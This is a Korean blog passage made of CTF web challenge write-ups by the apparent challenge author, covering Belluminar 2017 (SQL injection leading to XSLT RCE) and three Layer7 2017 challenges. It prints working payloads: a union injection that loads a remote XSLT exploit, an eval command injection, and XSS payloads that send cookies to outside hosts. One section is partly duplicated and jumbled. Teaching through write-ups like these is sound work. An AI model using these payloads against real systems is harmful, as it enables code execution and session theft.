2017년 11월 19일 일요일

2017년 11월 9일 목요일

[Belluminar-2017] Color-World-Write-up

Color World
PoC Belluminar 2017 에 출제한 웹 문제다.
당시 여러 기법을 공부하던 도중 XSLT라는 기법을 처음 알게돼서 공부를 하다가 출제한 거 같다.
(참고로 Belluminar 2017 는 정말 좋은 경험이었다고 생각한다.)

문제 컨셉은 XSLT를 취약하게 사용했을 때 RCE가 가능하다는 점을 통해 플래그를 가져오는 문제였다.
그냥 XSLT만 내기엔 문제가 너무 쉽다고 생각해서 SQL Injection과 연계해서 푸는 방향으로 만들었다.
XSLT는 XML문서를 다른 XML문서로 변환하는데사용하는 XML기반 언어이다. (참고)

[*] 핵심 풀이
로그인 페이지를 뚫고 메인 페이지로 오면 (로그인 페이지 우회하는 방법은 발표자료 PDF 참고)
XSLT를 사용해서 페이지의 디자인을 바꿔주는 기능이 있다.
이 때 XSLT 파일을 로드하고 registerPHPFunctions() 라는 함수를 사용하는데
위 함수를 사용하면 XSLT 파일에서 PHP 함수를 사용할 수 있게 된다. (참고)
(<html xmlns:php="http://php.net/xsl"> 라는 태그가 생기므로 위와 같은 사실을 알 수 있다)
그리고 메인 페이지에서 XSLT 파일을 불러올 때 DB에서 XSLT 경로를 가져와 로드하는데
SQL Injection이 가능하므로 XSLT 경로 조작이 가능하다. (XSLT 경로를 가져와 로드한다는 사실은 인젝션을 통해 알 수 있다)
즉, 위 처럼 XSLT 파일을 자신의 웹서버에 생성한 다음 해당 파일을 Union Clause로 불러오면 RCE가 가능하다는 것이다.
Injection Exam : -1' union select '1', 'http://mydomain.com/exploit.xsl

벨루미나 당시에 아쉬운 점이 있다면 벨루미나가 끝나고 문제 풀이 발표 때 실수를 해서 아쉬웠다.
라는 태그가 생기므로 위와 같은 사실을 알 수 있다) 그리고 메인 페이지에서 XSLT 파일을 불러올 때 DB에서 XSLT 경로를 가져와 로드하는데 SQL Injection이 가능하므로 XSLT 경로 조작이 가능하다. (XSLT 경로를 가져와 로드한다는 사실은 인젝션을 통해 알 수 있다) Exploit : https://github.com/munsiwoo/CTF-Web-Prob/blob/master/Belluminar2017/prob/exploit/exploit7.xsl 즉, 위 처럼 XSLT 파일을 자신의 웹서버에 생성한 다음 해당 파일을 Union Clause로 불러오면 RCE가 가능하다는 것이다. Injection Exam : -1' union select '1', 'http://mydomain.com/exploit.xsl Full Write-up : https://github.com/munsiwoo/CTF-Web-Prob/blob/master/Belluminar2017/color-world.pdf 벨루미나 당시에 아쉬운 점이 있다면 벨루미나가 끝나고 문제 풀이 발표 때 실수를 해서 아쉬웠다. 발표 자료가 부실한 점도 있지만, 무엇보다 너무 떨려서,,, , 다음엔 더 열심히 준비해야겠다.
발표 자료가 부실한 점도 있지만, 무엇보다 너무 떨려서,,, , 다음엔 더 열심히 준비해야겠다.

2017년 10월 26일 목요일

2017 Layer7 CTF Write ups


매년 열리는 Layer7 CTF, 올해 Layer7 부원이 된 나는 
2017 Layer7 CTF 문제 출제를 맡아 대회 운영을 하게 되었다.

나는 Eval injection 1개, XSS 2개 이렇게 웹 문제 총 3개를 준비했으며
문제 아이디어는 공식 레퍼런스에 올라온 함수 예제 댓글에서 취약점을 찾아서
준비한 문제 하나와, 평소에 공부하며 발견했던 버그를 오마주했다.

- Can you bypass me? - Regexp bypass, Wild card, Eval injection
Daniel's daily life blog - XSS via BBcode bypass
- Present - Javascript challenge (XSS)

Can you bypass me?





















언뜻 보면 공격이 불가능해 보이지만
preg_match의 정규식에서 /i 옵션만 주었기 때문에 개행으로 우회가 가능하다.

payload : ?eval=echo%20`cat%20flagflagflagflag.*%0a`;

이것을 막으려면 /s 옵션을 써주면 된다.


Daniel's daily life


BBcode에서 double quote를 치환해주지 않았기 때문에 escape가 가능하다.
[img]x" onerroorr=location.href="http://mydomain.com/?"+document.cookie[/img]
위와 같이 페이로드를 작성해서 어드민의 쿠키를 가져오면 된다.


present (XSS)

XSS 문제다.

contents=http://localhost/forward.php?);//*///*\=]=1;location.href="http://munsiwoo.kr/?"%252bdocument.cookie;}initialize();function%20a(){/*

위와 같이 공격이 가능하며, 어드민의 쿠키를 가져오면 된다.